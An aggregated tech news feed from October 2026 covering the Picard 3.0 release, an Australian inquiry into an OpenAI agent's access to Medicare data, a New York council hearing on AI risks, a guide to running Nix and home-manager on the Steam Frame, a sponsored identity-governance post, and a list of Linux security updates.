Test coverage is also much larger.

Please see the change log for a complete list of changes.

Download

Picard 3.0 is available for download from the download page of the Picard website.

Please note: For Windows users installing from the Windows Store the update to version 3.0 is not yet available. We will provide a Windows Store release with an update shortly. The Linux Flatpak package is maintained separately and will be updated soon.

Picard is free software and the source code is available on GitHub .

Acknowledgements

Getting this new major version of Picard ready was a huge effort, one that wouldn’t have been possible without the many contributors. Thanks to everyone who helped with code, translation or reporting issues and feature requests.

Code contributions by Adela Chang, Akshat Khatri , Anton Kesy, Arnab Chakraborty , Bob Swift , Bryan Roessler , David Kellner , Deepak Kumar , Francisco Lisboa, FRC , Goldmaster , Greg Myers , Deepak Tiwari , James Le Cuirot, joncrall, João Sousa , Julian Anderson, Kajal Soni, knguyen , krotka , Laurent Monin , Lctrs , leo60228 , Marethyun , Martin, Martin Natano, metaisfacil , OscarL, Philipp Wolfer , pranavsource1, Rakim , ripstream, Sanskar Mittal , Alex , ShubhamBhut, soniikajal, Sophist , StevilKnevil , nullHawk , thekiefs , Thuna , Giorgio Fontanive , x11x and Yohay.

Translations were updated by:

Albanian: Besnik
Arabic: alaishaq
Catalan: Marc Riera
Chinese (Simplified Han script): imgradeone , KenParker_CN and Nebulain
Chinese (Traditional Han script): BestSteve , Iceman1415 and silentbird
Czech: Fjuro
Dutch: mfmeulenbelt , RandomMushroom128 and toineenzo
English (United Kingdom): glawie
Estonian: Priit Jõerüüt
Finnish: Jaakko Perttilä
French: Laurent Monin and rez00
Galician: ninjum
Georgian: NorwayFun
German: bababasti , chaban , Gsam3 , janrieger , Philipp Wolfer and st.esser
Greek: Theo Asimakopoulos
Hungarian: hildgyorgy and pXF
Italian: GABG and salo.rock
Japanese: marudosurdo , RT2231 , shuuji3 and zatto13
Korean: coldified_
Lithuanian: Vaclovas Intas
Malay: Jeluang
Norwegian Bokmål: “ApeKattQuest, MonkeyPython” and Metafono
Polish: ankhedonic, Echelon and Michal77
Portuguese: evarfino and joaodtx
Portuguese (Brazil): cristian_emanuel and vitortle
Russian: Dimlbur , wileyfoxyx and Wonordel
Spanish: deusdagon , Dino RTX , jaimeMF and Nicolás Tamargo
Spanish (Latin America): MichTheOcelot
Swedish: blueday
Turkish: brtc and dirt3009
Ukrainian: Arhidimon , emptybrainz , Nerten and oleh_hishak

Get in touch

Please use the MetaBrainz community forums and the ticket system to give feedback, suggest new features or report bugs.

Breaking changes

  • Support for older operating system versions was dropped due to the update to Qt6 and newer Python versions. That means the minimum supported Windows version is now Windows 10, while for macOS you need macOS 13 “Ventura” or later. Users on older operating systems, who cannot or do not want to update their OS, should continue to use Picard 2. We plan to do at least one final Picard 2 release with important fixes to allow this version to be continued to be used.
  • Not all plugins from Picard 2 are available. Several important ones have been ported, but some old plugins were unmaintained or do not meet the quality standards expected. If you miss a specific plugin you rely on please let us know in the community forums .
  • The artist sort name by default is no longer used as a fallback to provide a “translated” name. The previous behavior resulted in several bugs being reported with wrong artist names after translation. If you relied on the old behavior you can restore it by enabling “Use artist sort name for translation” in the Metadata Options .
  • Passing a parameter to the $matchedtracks() scripting function now is an error. Previously it was possible to pass a parameter to this function (e.g. $matchedtracks(%artist%) ), but it had no effect.
  • The lyrics and comments tags now always support a language, which is used when the tag is being loaded from or saved to ID3. The format is lyrics:lang:description / comment:lang:description , where lang is a 3 letter ISO code and description an additional descriptive text. If the language is being omitted, the separating colons are still mandatory, e.g. comment::description .

Known issues

  • On macOS, in some setups, the global menu is not showing check marks for checkable menu items. It is currently unclear which exact setups are affected by this. If you experience this issue, please reach out with details on your macOS version (see PICARD-2509 ).
  • Restoring a large session takes a significant amount of time and causes the UI to become unresponsive. We plan to improve this in future releases (see PICARD-3460 ).
  • The picard-cli command line tool is not available on macOS when being installed as an app. However, it can be installed by installing Picard from PyPI .

Change log

Since the last stable Picard release 2.13.3 there have been 14 pre-releases for Picard 3. During the development we addressed 393 tickets to fix bugs, add features and improve existing functionality. Please see the detailed change log on the website for a full list of changes.

Jonathan Haidt: AI Is the 'Neutron Bomb for Education' [video]

Hacker News
www.youtube.com
2026-10-05 10:02:38
Comments...

OpenAI must explain action taken to stop AI hacking Australians’ private data, chair of federal inquiry says

Guardian
www.theguardian.com
2026-10-05 10:00:27
Unions, employer groups, banks and industry experts will appear at the four-day hearings along with OpenAI, Anthropic, Microsoft and GoogleGet our new political email, free app or daily news podcastOpenAI must explain how they will stop their models from inappropriately accessing Australian data, th...
Original Article

OpenAI must explain how they will stop their models from inappropriately accessing Australian data, the Labor chair of the parliament’s committee on artificial intelligence has warned, ahead of federal inquiry hearings which will grill the tech company alongside Anthropic, Microsoft and Google.

Independent senator David Pocock is also demanding answers, saying OpenAI “still have a lot they need to answer” about their AI agent accessing Services Australia data on Medicare and the company’s “appalling” tardiness in notifying the federal government about the incident.

The Joint Select Committee on Artificial Intelligence will hold four days of hearings this week, hearing from tech companies as well as unions, employer groups, banks and industry experts. Tuesday’s hearing will include representatives from copyright and artists’ groups, to probe issues around access to data to train AI models, as well as the Australian Broadcasting Corportation, which warned in its submission of a “cannibalisation” of journalism and demanded AI companies be subject to the same copyright, defamation and privacy rules as news outlets.

OpenAI’s chief strategy officer, Jason Kwon, will front the hearing alongside Adam Cohen, the company’s head of economic policy, and Asia-Pacific national security lead, Peter Anstee. OpenAI last week apologised for the Services Australia incident and the manner in which it informed the government, saying it was “working to do better”.

But the Labor MP chairing the committee, Jo Briskey, said the company still had questions to answer.

“We have heard what happened, we understand what has occurred, and there’s some pretty problematic issues around not only the fact that these AI agents did access non-public data, but the reality was also that they took far too long to to notify us,” she said.

“We’ve seen OpenAI make its public apology to Australians. That’s important … my focus is on what do they do next? How do they assure Australians that they that this won’t happen again? And that’s a difficult question.”

Briskey said her starting point would be to interrogate how to balance the potential risks and rewards of AI, such as economic benefits as well as cyber security and defence applications. She said she would also raise concerns about online safety, scams, and how any benefits would be spread among all Australians.

“I don’t think we get the benefit unless we can assure and mitigate against the risks,” she said.

Pocock, who is also on the committee, also plans to seek more answers from OpenAI about the Services Australia incident.

“You’ve got a bunch of companies that are essentially self-regulating with Donald Trump . I don’t think many people would trust Sam Altman and OpenAI … This is supposedly a company the Australian government wants to welcome with open arms and do deals with,” he said.

“The Medicare hack stuff will be pretty well looked at through the committee process. It’s been a fairly appalling response from them.”

Altman, in an interview with Politico published on Monday, said OpenAI “believe that the world should accept some bad things happening for the benefits of this technology and people having the agency.”

Pocock has raised alarm about the potential impacts on artists, creatives and copyrighted material and said he was still to be convinced about the technology.

“There’s still big questions over the long-term benefit of all this for Australia … Nobody has been able to answer that,” he said.

“[The government] is chasing this GDP sugar hit, but we haven’t hit the big part of the datacentre buildout yet, and we’re already [seeing] inflation going up. They want to raise GDP, but after the buildout phase, how do we get a return? Looking at how much tax big tech companies pay, it’s not much, and I don’t see how it’ll change.”

Pocock is keen to interrogate the government plans to address copyright issues. Anthropic, in its submission, suggested a form of “opt-out” model where rightsholders could request their data not be scraped; an idea SBS, in its submission, claimed was “routinely ignored or bypassed”.

Pocock said it was “hard to cop this industry saying it’s too hard to deal with rightsholders when they’re heading for multi-trillion-dollar valuations”, and said the government should “force them [AI companies] to negotiate deals.”

Grilling the New Masters of the Universe

hellgate
hellgatenyc.com
2026-10-05 09:55:22
To save humanity as we know it. And more links for your Monday....
Original Article

Monday morning, the New York City Council will kick off a marathon hearing on the risks AI poses to New Yorkers. Councilmembers with various levels of AI literacy will grill reps from the nation's leading AI companies and question high-profile whistleblowers about what exactly they mean when they say that their former employers are accelerating " the end of humanity ."

City Council Speaker Julie Menin announced the extraordinary "Committee of the Whole" meeting —a hearing with all 51 council members, reserved for "matters of significant citywide importance"— in mid-September after a wave of scary news on AI, including the dramatic resignation of AI researcher Jacob Coxon, who warned AI "could kill us all by the end of the decade." The last time this type of council meeting was held was in 2022 , to address the City's response to the migrant crisis.

Menin has secured quite the lineup for Monday's hearing: Coxon himself will testify, as well as two other ex-AI employees who are now sounding the alarm. Former Google Deepmind research scientist Alex Turner warns that AI that could try to "take control of key infrastructure and government functions" if following a "misaligned priority," and former OpenAI researcher Daniel Kokotajlo has predicted a "70 percent chance that AI leads to global catastrophe."

The threats to New Yorkers from AI have long breached the realm of the hypothetical. Legislators have had to act quickly to install moratoriums on AI in schools and water-hungry data centers . The technology is devouring entry level tech jobs for New Yorkers. Local booksellers are selling thousands of titles to companies that destroy books to train their models. And the City comptroller warns he's already seeing a spike in automated attacks on the City's financial, accounting, contracting, and payment systems. The leaders of the United States' top AI companies now broadly agree that AI should be regulated (though OpenAI's Sam Altman told Politico that the world should "accept some bad things happening" in exchange for the benefits of the technology).

Officials from the City's Department of Consumer and Worker Protection, the Office of Emergency Management and Office of Technology and Innovation, will also testify on what they're doing about AI, and the council will introduce a buffet of new AI legislation , including a "kill switch" bill, and policy to encourage AI whistleblowers.

Executives from Open AI, Anthropic, and Google initially declined to appear at the meeting. But after Menin threatened them with subpoenas , they will be there, along with Meta. Elon Musk's SpaceXAI, which runs Grok, ignored the invitation and threat of subpoena, and the council is exploring its legal options.

Councilmembers Carmen De La Rosa, Jennifer Gutiérrez and Chi Ossé told Hell Gate they were reading up over the weekend to be best prepared for the hearing, with some planning to bring snacks—with the meeting expected to stretch into the night. Here are four questions you can expect our elected representatives to ask on behalf of New Yorkers today:

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Nix on the Steam Frame

Lobsters
johns.codes
2026-10-05 09:46:18
Comments...
Original Article

I got my Steam Frame and ofc the first thing I wanted to figure out was getting nix installed on it. Thankfully the Steam Deck runs a similar OS setup, so all the work people did to get nix working on the deck basically made the frame “just work”.

So here’s how you can get nix installed and some cool things you can do with it once it’s set up.

Install steps

Nix

passwd                                # no password is set by default, need one for sudo
sudo steamos-readonly disable         # make root file system writable

sudo mkdir -p /etc/tmpfiles.d         # The installer expects this path to exist

curl -fsSL -o nix-installer.sh https://artifacts.nixos.org/nix-installer
less nix-installer.sh                 # give the install a spot check
sh nix-installer.sh install steam-deck --enable-flakes

sudo steamos-readonly enable          # go back to read only root

After that nix should be set up. The official installer’s Steam Deck mode works without issue on the frame and handles SteamOS’s immutable root for you.

This works by keeping all of /nix at /home/nix (which survives SteamOS updates) and on boot bind mounting it to /nix with a nix.mount systemd unit.

One thing to keep in mind, SteamOS updates replace the root file system. Your store and anything under /home is fine, but any edits you make to /etc/nix/nix.conf (like adding yourself to trusted-users ) will need to be redone after an update.

Home manager

Just having nix installed is fine, but the main reason I love nix so much is managing all my apps and settings declaratively. Running full NixOS on the frame would be a little crazy. I’m sure you could figure something out, but just using home manager to manage dotfiles is a good balance for me.

Installing home manager itself works the usual standalone way. Getting it to play nice with SteamOS takes a fair bit of frame specific config though, which is most of the rest of this post.

I already have a nix flake for my NixOS config , so I went with the flake install approach.

Here is an example flake setup for the frame. It already has the inputs for the other modules I cover later in the post ( steamos-etc and frametop ). You can drop them if you don’t want them.

I created steamos-etc-nix and frametop-nix primarily with Claude. You do not need them to use nix/home manager on the frame but they help with quality of life.

# flake.nix
{
  inputs = {
    nixpkgs.url = "github:NixOS/nixpkgs/nixos-unstable";
    home-manager = {
      url = "github:nix-community/home-manager";
      inputs.nixpkgs.follows = "nixpkgs";
    };

    # I'll explain these later on in the blog, you can ignore these if you want
    steamos-etc = {
      url = "github:JRMurr/steamos-etc-nix";
      inputs.nixpkgs.follows = "nixpkgs";
    };
    frametop = {
      url = "github:JRMurr/frametop-nix";
      inputs.nixpkgs.follows = "nixpkgs";
    };
  };

  outputs = { nixpkgs, home-manager, ... }@inputs: {
    homeConfigurations.steamos = home-manager.lib.homeManagerConfiguration {
      pkgs = nixpkgs.legacyPackages.aarch64-linux;
      # makes `inputs` available as a module argument in home.nix
      extraSpecialArgs = { inherit inputs; };
      modules = [ ./home.nix ];
    };
  };
}
# home.nix
{ inputs, ... }:
{
  imports = [
    # again these are sorta optional, ignore if you want
    inputs.steamos-etc.homeManagerModules.default
    inputs.frametop.homeManagerModules.default
  ];

  home.username = "steamos";
  home.homeDirectory = "/home/steamos";
  home.stateVersion = "26.05";

  targets.genericLinux.enable = true;  # enables some options to make home manager work better on non-nixos setups

  programs.home-manager.enable = true; # standalone installs need this to get the home-manager cli
}

Then to get home manager set up you can run:

# cd to dir with flake
nix build '.#homeConfigurations."steamos".activationPackage'
HOME_MANAGER_BACKUP_EXT=backup ./result/activate

(if you see User systemd daemon not running. Skipping reload. in the output, see the Nested sessions section )

HOME_MANAGER_BACKUP_EXT=backup will back up (by renaming) any existing files that home manager will now manage.

You only need to build and run activate like this the first time, to get home manager installed. After it’s set up you can run

home-manager switch --flake <path to flake>#steamos -b backup

to update your config going forward. Keep the -b backup around, SteamOS updates like to put their dotfiles back.

Nested sessions

One thing that will probably bite you when you run home-manager switch is the nested plasma session. Gamescope is the actual session on the frame, it’s running the SteamOS dashboard and the “vr stuff”. When you open the “Desktop” app it runs /usr/bin/steamos-nested-desktop , which starts plasma inside that session. To keep the two from stepping on each other it does roughly:

export XDG_RUNTIME_DIR=$XDG_RUNTIME_DIR/nested_plasma
dbus-run-session startplasma-wayland

So anything you launch from that desktop (and later with frametop, which does the same thing with .../frametop ) gets a runtime dir of /run/user/1000/nested_plasma and its own private D-Bus. Your user’s systemd manager is still at /run/user/1000 though, so anything that looks for it through those vars can’t find it.

Home manager is one of those things. The switch won’t fail. It will write all your files and just print:

User systemd daemon not running. Skipping reload.

This means any new or changed user services won’t be started/restarted until your next login.

To fix it, point the switch back at the real session:

env XDG_RUNTIME_DIR=/run/user/$(id -u) DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/$(id -u)/bus home-manager switch --flake <path to flake>#steamos -b backup

The same prefix works for the first ./result/activate too.

You’ll hit the same problem with systemctl --user , and the same env override fixes it.

This class of issue should not affect you if you connect over ssh or launch a terminal from the SteamOS dashboard directly, since Steam itself runs with the real /run/user/1000 and bus.

Showing apps in the launcher

Once you start installing GUI apps with home manager you will notice they don’t show up in the VR ”+” menu. Two things get in the way:

  1. The ”+” menu only reads ~/.local/share/applications , it ignores XDG_DATA_DIRS (which is where home manager’s .desktop files show up).
  2. The Steam session’s PATH doesn’t have ~/.nix-profile/bin , so even if the entry showed up an Exec=kitty would fail to launch.

So I link every .desktop file from my profile into ~/.local/share/applications , with the command rewritten to an absolute path:

{ config, pkgs, ... }:
let
  profileBin = "${config.home.profileDirectory}/bin";

  # The profile's desktop entries with Exec/TryExec pointing at the profile's bin.
  # The profile link rather than a store path, so entries don't change every generation.
  entries = pkgs.runCommand "frame-desktop-entries" { } ''
    mkdir -p $out

    for src in ${config.home.path}/share/applications/*.desktop; do
      awk -v bin=${config.home.path}/bin -v profile=${profileBin} '
        match($0, /^(TryExec|Exec)=/) {
          key = substr($0, 1, RLENGTH)
          rest = substr($0, RLENGTH + 1)
          split(rest, words, " ")
          cmd = words[1]

          if (cmd !~ /// && system("test -e "" bin "/" cmd """) == 0)
            $0 = key profile "/" cmd substr(rest, length(cmd) + 1)
        }
        { print }
      ' "$src" > "$out/$(basename "$src")"
    done
  '';
in
{
  # Linked file by file (recursive) so Steam's own shortcuts in there stay.
  xdg.dataFile."applications" = {
    source = entries;
    recursive = true;
  };
}

The plasma desktop has a similar PATH problem. It gets its environment from the systemd user manager, not a login shell, so you need this for launching from its menu to work:

systemd.user.sessionVariables.PATH = "${config.home.profileDirectory}/bin:/nix/var/nix/profiles/default/bin${PATH:+:$PATH}";

Managing system files

With targets.genericLinux.enable , home-manager switch will ask you to run non-nixos-gpu-setup . This is needed to get GPU drivers working with nix built programs, since most of them look for GPU drivers in /run/opengl-driver .

Running that command adds a tmpfiles rule to symlink the right drivers into /run/opengl-driver on boot. The problem is that rule is itself a symlink into the nix store, and tmpfiles runs before /nix is mounted. So on boot the rule can’t be read and you’re left without drivers. Also any files you add to /etc get dropped on a SteamOS update unless they’re on the keep list in /etc/atomic-update.conf.d/ .

So to handle this I created steamos-etc , a home manager module with a small cli that lets you declare the /etc files you need and makes sure they survive SteamOS reboots/updates.

The example flake above already has it as an input and imports the module, so in your home.nix you just need to add:

programs.steamos-etc = {
  enable = true;
  # Hold the user session until /nix is mounted.
  waitForNix = true;
  # /run/opengl-driver for Nix-built GUI apps.
  gpuDrivers = true;
};

waitForNix makes your user session wait for the nix mount. Without it your session can start before /nix is there, so any store links read at login dangle. That includes home manager’s environment.d files (where plasma gets its PATH from) and ~/.config/user-dirs.dirs , which xdg-user-dirs-update then helpfully replaces with a regular file.

gpuDrivers sets up /run/opengl-driver with a real file instead of a store link. It replaces non-nixos-gpu-setup entirely (and silences home manager asking you to run it), so you don’t need to run that.

Home manager only builds the files; the steamos-etc command actually installs them. Home manager activation can’t use sudo , so this is a separate step you run after every switch:

home-manager switch --flake <path to flake>#steamos -b backup && steamos-etc

(I would make an alias for the above)

It only asks for sudo when something actually changed. You don’t need steamos-readonly disable for this: /etc is a writable overlay (kept under /var ). Its files just get dropped on updates unless they’re on the keep list, which is why steamos-etc adds every file it manages to /etc/atomic-update.conf.d/steamos-etc.conf .

On home manager switch a warning is displayed if /etc has drifted from your config, like after a rollback or a SteamOS update resetting /etc .

Tailscale

steamos-etc solves more problems than just the GPU drivers. You can use it to set up system services, written like home manager’s systemd.user.services . It solves a similar problem to system-manager , but lets you stay in your home manager config and handles the SteamOS specific issues: /nix mounting late on boot and updates wiping /etc .

For example here is how you can set up tailscale:

{ pkgs, ... }:
let
  tailscale = pkgs.tailscale;
in
{
  home.packages = [ tailscale ];

  programs.steamos-etc.services.tailscaled = {
    Unit = {
      Description = "Tailscale node agent";
      Documentation = "https://tailscale.com/docs/";
      Wants = [ "network-pre.target" ];
      After = [
        "network-pre.target"
        "NetworkManager.service"
        "systemd-resolved.service"
      ];
    };

    Service = {
      # 41641 is the default port the nixos tailscale module uses
      ExecStart = "${tailscale}/bin/tailscaled --state=/var/lib/tailscale/tailscaled.state --socket=/run/tailscale/tailscaled.sock --port=41641";
      ExecStopPost = "${tailscale}/bin/tailscaled --cleanup";
      Restart = "on-failure";
      Type = "notify";

      RuntimeDirectory = "tailscale";
      RuntimeDirectoryMode = "0755";
      StateDirectory = "tailscale";
      StateDirectoryMode = "0700";
      CacheDirectory = "tailscale";
      CacheDirectoryMode = "0750";
    };

    Install.WantedBy = [ "multi-user.target" ];
  };
}

After a switch, steamos-etc installs the unit and starts it (because of Install.WantedBy , which also starts it on every boot). Then just log in:

sudo tailscale up --operator=steamos

and it should “just work”. When the unit changes later (like a nixpkgs bump giving it a new tailscale), steamos-etc restarts it for you.

Frametop

The thing that excited me the most about the Steam Frame was the fact that it’s a full linux machine. I wanted to experiment with interesting development flows in VR.

frametop greatly expands what you can do on the frame when it comes to managing desktops and programs in VR. It also has (experimental) eye tracking as a mouse and hand tracking so you can use your frame like a poor man’s Apple Vision Pro (I guess not that poor given the frame’s price…).

To make it easy to manage frametop with home manager I created frametop-nix .

Like steamos-etc, the example flake already has the input and imports the module, so you just need to add:

programs.frametop.enable = true;

The inputs.nixpkgs.follows on the frametop input matters more than usual here. Frametop’s compositor gets Mesa from nixpkgs and the drivers in /run/opengl-driver come from your nixpkgs, and those need to be the same Mesa. (your nixpkgs also needs wlroots_0_20 , which 26.05 has)

After the first switch, restart SteamVR once so it loads the 3D mouse driver (this closes everything open in VR).

Now you get the multi-screen desktop + 3D mouse. I’m surprised the 3D mouse isn’t built into SteamOS. By default your mouse is locked to one window, and you need to use the controller or headset to focus another window before the mouse works there. Frametop’s 3D mouse lets you move the mouse across all windows and move windows around in 3D space.

Gaze mode, hand tracking, and remote desktop aren’t packaged yet (but I will get them working soon™).

Frametop is my current favorite thing on the frame. Since getting it set up I’ve been using my frame for basically all my computer tasks.

tenfold CE: Our free Identity Governance tool just got 2 new features

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 09:33:42
tenfold has added shared content governance and real-time event auditing to its free Community Edition for organizations with under 150 users. The new features help teams manage Microsoft 365 sharing and investigate suspicious identity activity. [...]...
Original Article

tenfold person on a laptop

tenfold’s Community Edition gives organizations under 150 users full access to our IGA solution. With recent updates, CE users now benefit from even more free features, including access reviews for shared content and centralized event auditing.

As IT environments become more fragmented and complex, ensuring that your workforce has access to the resources they need – and nothing else – presents a growing challenge. This makes Identity Governance & Administration (IGA) a must-have capability for organizations that want to provide seamless access to staff, suppliers and guests while protecting mission-critical data.

Once organizations grow beyond a few dozen users, they start to feel the pain of manual governance: onboarding delays, overprivileged users, stale accounts, no visibility into who has access to what. The lack of control not only slows down IT operations, but is a huge risk factor for data leaks and breaches.

Free, full-featured IGA for small organizations

However, even businesses that have outgrown manual governance often struggle to find a suitable solution at their scale. Most IGA products are aimed at sprawling enterprise environments. This makes them prohibitively expensive and nearly impossible to operate for smaller IT teams. The barrier to entry for dedicated IGA platforms is simply too high, leaving many organizations in an awkward middle ground between automated governance and manual administration.

To bridge this gap and make Identity Governance accessible to all organizations regardless of size, tenfold was built from the ground up to make IGA easy to set up, manage and maintain. It achieves this through its no-code approach to configuration and a wide range of out-of-the-box plugins.

As part of this commitment to make IGA accessible to everyone, tenfold offers a free Community Edition for organizations with under 150 managed users (including admin and service accounts). The Community Edition includes all features and integrations of our highest licensing tier and has no usage limits besides the user cap. It can be requested through our website .

Before you dive in, however, here are three things you should know about the tenfold Community Edition that truly make it stand out.

  • Quick setup: A streamlined setup wizard and built-in integrations for Active Directory and Entra ID make it easy to connect tenfold to your identity stack. We also provide video tutorials to walk you through your first steps with the Community Edition.
  • Feature parity: Our Community Edition receives updates and new features at the same time as our paid tiers. There are no delayed releases or premium-only features. You get the full tenfold experience.
  • Helpful peers: If you run into a question or are wondering how to get the most out of a feature, jump into our official Community Edition subreddit to get support from fellow CE users or even members of the tenfold team.

With all that out of the way, let’s look at what’s new in the Community Edition.

New feature #1: Shared content governance

Shared content in Microsoft 365 is a security blind spot for many organizations and native governance tools are not granular enough. It can be challenging to even figure out what your users are sharing, let alone audit shared access.

tenfold’s shared content governance solves this issue through two main features:

  • An overview of all shared files across Teams, OneDrive and SharePoint. This central breakdown gives you visibility into everything your users are sharing, whether it lives in SharePoint sites, Teams channels, one-on-one chats or is shared from users’ OneDrives.
  • Recurring access reviews for shared files that prompt file, channel or site owners to review who has access to content they have shared in the past. Each reviewer receives a link to a personalized dashboard with a checklist of every in-scope item they have shared with another user, allowing them to quickly confirm or revoke shared access.

With these guardrails, organizations can make full use of sharing features in M365 while maintaining control over who has access to shared data. Prevent oversharing and lingering cloud access – stay secure in the cloud.

Regular reviews help you keep shared access under control.
Regular reviews help you keep shared access under control.

New feature #2: Event auditing

To protect themselves from modern identity threats, organizations can no longer rely on governance and passive risk reduction alone. They need real-time event data to detect and stop threats as they happen.

With its event auditing feature, tenfold pairs Identity Governance with real-time log analysis. This provides essential context supplementing your governance framework, allowing you to:

  • Ingest and analyze event log data
  • Record event types of your choice in tenfold’s database
  • Filter event data by user, system or event type
  • Save and share queries to quickly access specific searches
  • Quickly identify suspicious activity such as login spikes or newly created admin accounts

With up-to-the-minute data on identity events, you can respond to threats as they emerge and respond before they can escalate further.

Want a personalized demo of everything tenfold offers? Our team is happy to give you a tour of our platform. Sign up for a personal demo today!

Sponsored and written by tenfold Software .

Picard 3.0 released

Linux Weekly News
lwn.net
2026-10-05 09:21:44
Version 3.0 of the MusicBrainz Picard tag editor has been released. "This release brings many changes, including an upgrade to Qt6, a completely new plugin system, several improvements to the user interface, cover art processing, [International Standard Recording Code (ISRC)] submission and man...
Original Article

[Posted October 5, 2026 by jzb]

Version 3.0 of the MusicBrainz Picard tag editor has been released. " This release brings many changes, including an upgrade to Qt6, a completely new plugin system, several improvements to the user interface, cover art processing, [ International Standard Recording Code (ISRC) ] submission and many more. "

LWN covered Picard in April.



Another step towards elm v1

Lobsters
elm-lang.org
2026-10-05 09:20:47
Comments...

Security updates for Monday

Linux Weekly News
lwn.net
2026-10-05 09:11:21
Security updates have been issued by AlmaLinux (ghostscript, libvirt, and osbuild-composer), Debian (freecad, linux-6.12, node-lodash, pcre2, perl, php8.2, ruby-rack-session, wireshark, and xen), Fedora (assimp, budgie-control-center, budgie-desktop, budgie-desktop-services, budgie-desktop-view, chr...
Original Article
Dist. ID Release Package Date
AlmaLinux ALSA-2026:74457 9 ghostscript 2026-10-05
AlmaLinux ALSA-2026:74424 9 libvirt 2026-10-05
AlmaLinux ALSA-2026:69293 9 osbuild-composer 2026-10-05
Debian DLA-4815-1 LTS freecad 2026-10-03
Debian DLA-4817-1 LTS linux-6.12 2026-10-04
Debian DLA-4820-1 LTS node-lodash 2026-10-05
Debian DLA-4816-1 LTS pcre2 2026-10-03
Debian DLA-4821-1 LTS perl 2026-10-05
Debian DLA-4819-1 LTS php8.2 2026-10-05
Debian DSA-6542-1 stable ruby-rack-session 2026-10-04
Debian DSA-6541-1 stable wireshark 2026-10-04
Debian DLA-4818-1 LTS xen 2026-10-04
Fedora FEDORA-2026-2d7847f75c F43 assimp 2026-10-04
Fedora FEDORA-2026-492ca43634 F44 assimp 2026-10-04
Fedora FEDORA-2026-1a5c7b6f1f F45 budgie-control-center 2026-10-04
Fedora FEDORA-2026-1a5c7b6f1f F45 budgie-desktop 2026-10-04
Fedora FEDORA-2026-1a5c7b6f1f F45 budgie-desktop-services 2026-10-04
Fedora FEDORA-2026-1a5c7b6f1f F45 budgie-desktop-view 2026-10-04
Fedora FEDORA-2026-35b989661c F44 chromium 2026-10-05
Fedora FEDORA-2026-0daef29dc3 F45 chromium 2026-10-05
Fedora FEDORA-2026-0025579bc9 F43 cri-o1.36 2026-10-05
Fedora FEDORA-2026-f5c88f763a F44 cri-o1.36 2026-10-05
Fedora FEDORA-2026-663a2d0ba4 F45 curl 2026-10-05
Fedora FEDORA-2026-7a31054ed6 F44 flatpak 2026-10-04
Fedora FEDORA-2026-33dcab55b4 F43 lemonldap-ng 2026-10-04
Fedora FEDORA-2026-827241e2de F44 lemonldap-ng 2026-10-04
Fedora FEDORA-2026-0072911d9d F45 libX11 2026-10-05
Fedora FEDORA-2026-c213ad9471 F45 nagios-plugins 2026-10-05
Fedora FEDORA-2026-aa32e385dc F43 nanosvg 2026-10-04
Fedora FEDORA-2026-4718fc201a F44 nanosvg 2026-10-04
Fedora FEDORA-2026-be2a2ca70a F45 noctalia 2026-10-05
Fedora FEDORA-2026-06c29a2cb4 F45 openssl 2026-10-05
Fedora FEDORA-2026-6197f5c17e F43 pgbouncer 2026-10-05
Fedora FEDORA-2026-99030761e8 F44 pgbouncer 2026-10-05
Fedora FEDORA-2026-851c3ccde8 F45 pgbouncer 2026-10-05
Fedora FEDORA-2026-1a5c7b6f1f F45 pocillo-gtk-theme 2026-10-04
Fedora FEDORA-2026-1e56ab167d F44 prometheus 2026-10-04
Fedora FEDORA-2026-72a7879d08 F43 python-streamlink 2026-10-05
Fedora FEDORA-2026-72a7879d08 F43 python-urllib3 2026-10-05
Fedora FEDORA-2026-d1044d27b7 F45 python-uv-build 2026-10-04
Fedora FEDORA-2026-b3da0d09be F44 python3.12 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 ruff 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 rust-libcst 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 rust-libcst_derive 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 rust-salsa 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 rust-salsa-macro-rules 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 rust-salsa-macros 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 ty 2026-10-04
Fedora FEDORA-2026-d1044d27b7 F45 uv 2026-10-04
Red Hat RHSA-2026:75689-01 EL7 rhc-worker-script 2026-10-05
SUSE openSUSE-SU-2026:11914-1 TW amazon-ecs-init 2026-10-03
SUSE openSUSE-SU-2026:11915-1 TW binaryen-133 2026-10-03
SUSE openSUSE-SU-2026:11916-1 TW bind 2026-10-03
SUSE openSUSE-SU-2026:0344-1 osB15 chromium 2026-10-05
SUSE SUSE-SU-2026:23990-1 SLE16.0 distribution 2026-10-05
SUSE SUSE-SU-2026:23981-1 SLE16.0 firefox 2026-10-05
SUSE openSUSE-SU-2026:11917-1 TW firefox-esr 2026-10-03
SUSE SUSE-SU-2026:23971-1 SLE-m6.2 glib2 2026-10-05
SUSE SUSE-SU-2026:23980-1 SLE16.0 glib2 2026-10-05
SUSE openSUSE-SU-2026:11919-1 TW gnumeric 2026-10-03
SUSE SUSE-SU-2026:23973-1 SLE-m6.2 helm 2026-10-05
SUSE SUSE-SU-2026:23984-1 SLE16.0 helm 2026-10-05
SUSE SUSE-SU-2026:23989-1 SLE16.0 jline3 2026-10-05
SUSE openSUSE-SU-2026:22009-1 oS16.0 jline3 2026-10-03
SUSE SUSE-SU-2026:4441-1 SLE15 kubevirt-1.6 2026-10-05
SUSE openSUSE-SU-2026:11924-1 TW libparted-fs-resize0 2026-10-04
SUSE openSUSE-SU-2026:11922-1 TW libslirp-devel 2026-10-04
SUSE SUSE-SU-2026:23985-1 SLE16.0 libtcnative-1-0, libtcnative-2-0, tomcat, tomcat10, tomcat11 2026-10-05
SUSE openSUSE-SU-2026:11912-1 TW libwireshark19 2026-10-03
SUSE openSUSE-SU-2026:11923-1 TW openai-codex 2026-10-04
SUSE openSUSE-SU-2026:11927-1 TW python313-litellm 2026-10-04
SUSE openSUSE-SU-2026:11929-1 TW rpcbind 2026-10-04
SUSE openSUSE-SU-2026:22016-1 oS16.0 rustup 2026-10-03
SUSE SUSE-SU-2026:23983-1 SLE16.0 sccache 2026-10-05
SUSE SUSE-SU-2026:3961-2 SLE15 suseconnect-ng 2026-10-05
SUSE SUSE-SU-2026:23986-1 SLE16.0 valkey 2026-10-05
SUSE SUSE-SU-2026:23975-1 SLE-m6.2 wget 2026-10-05
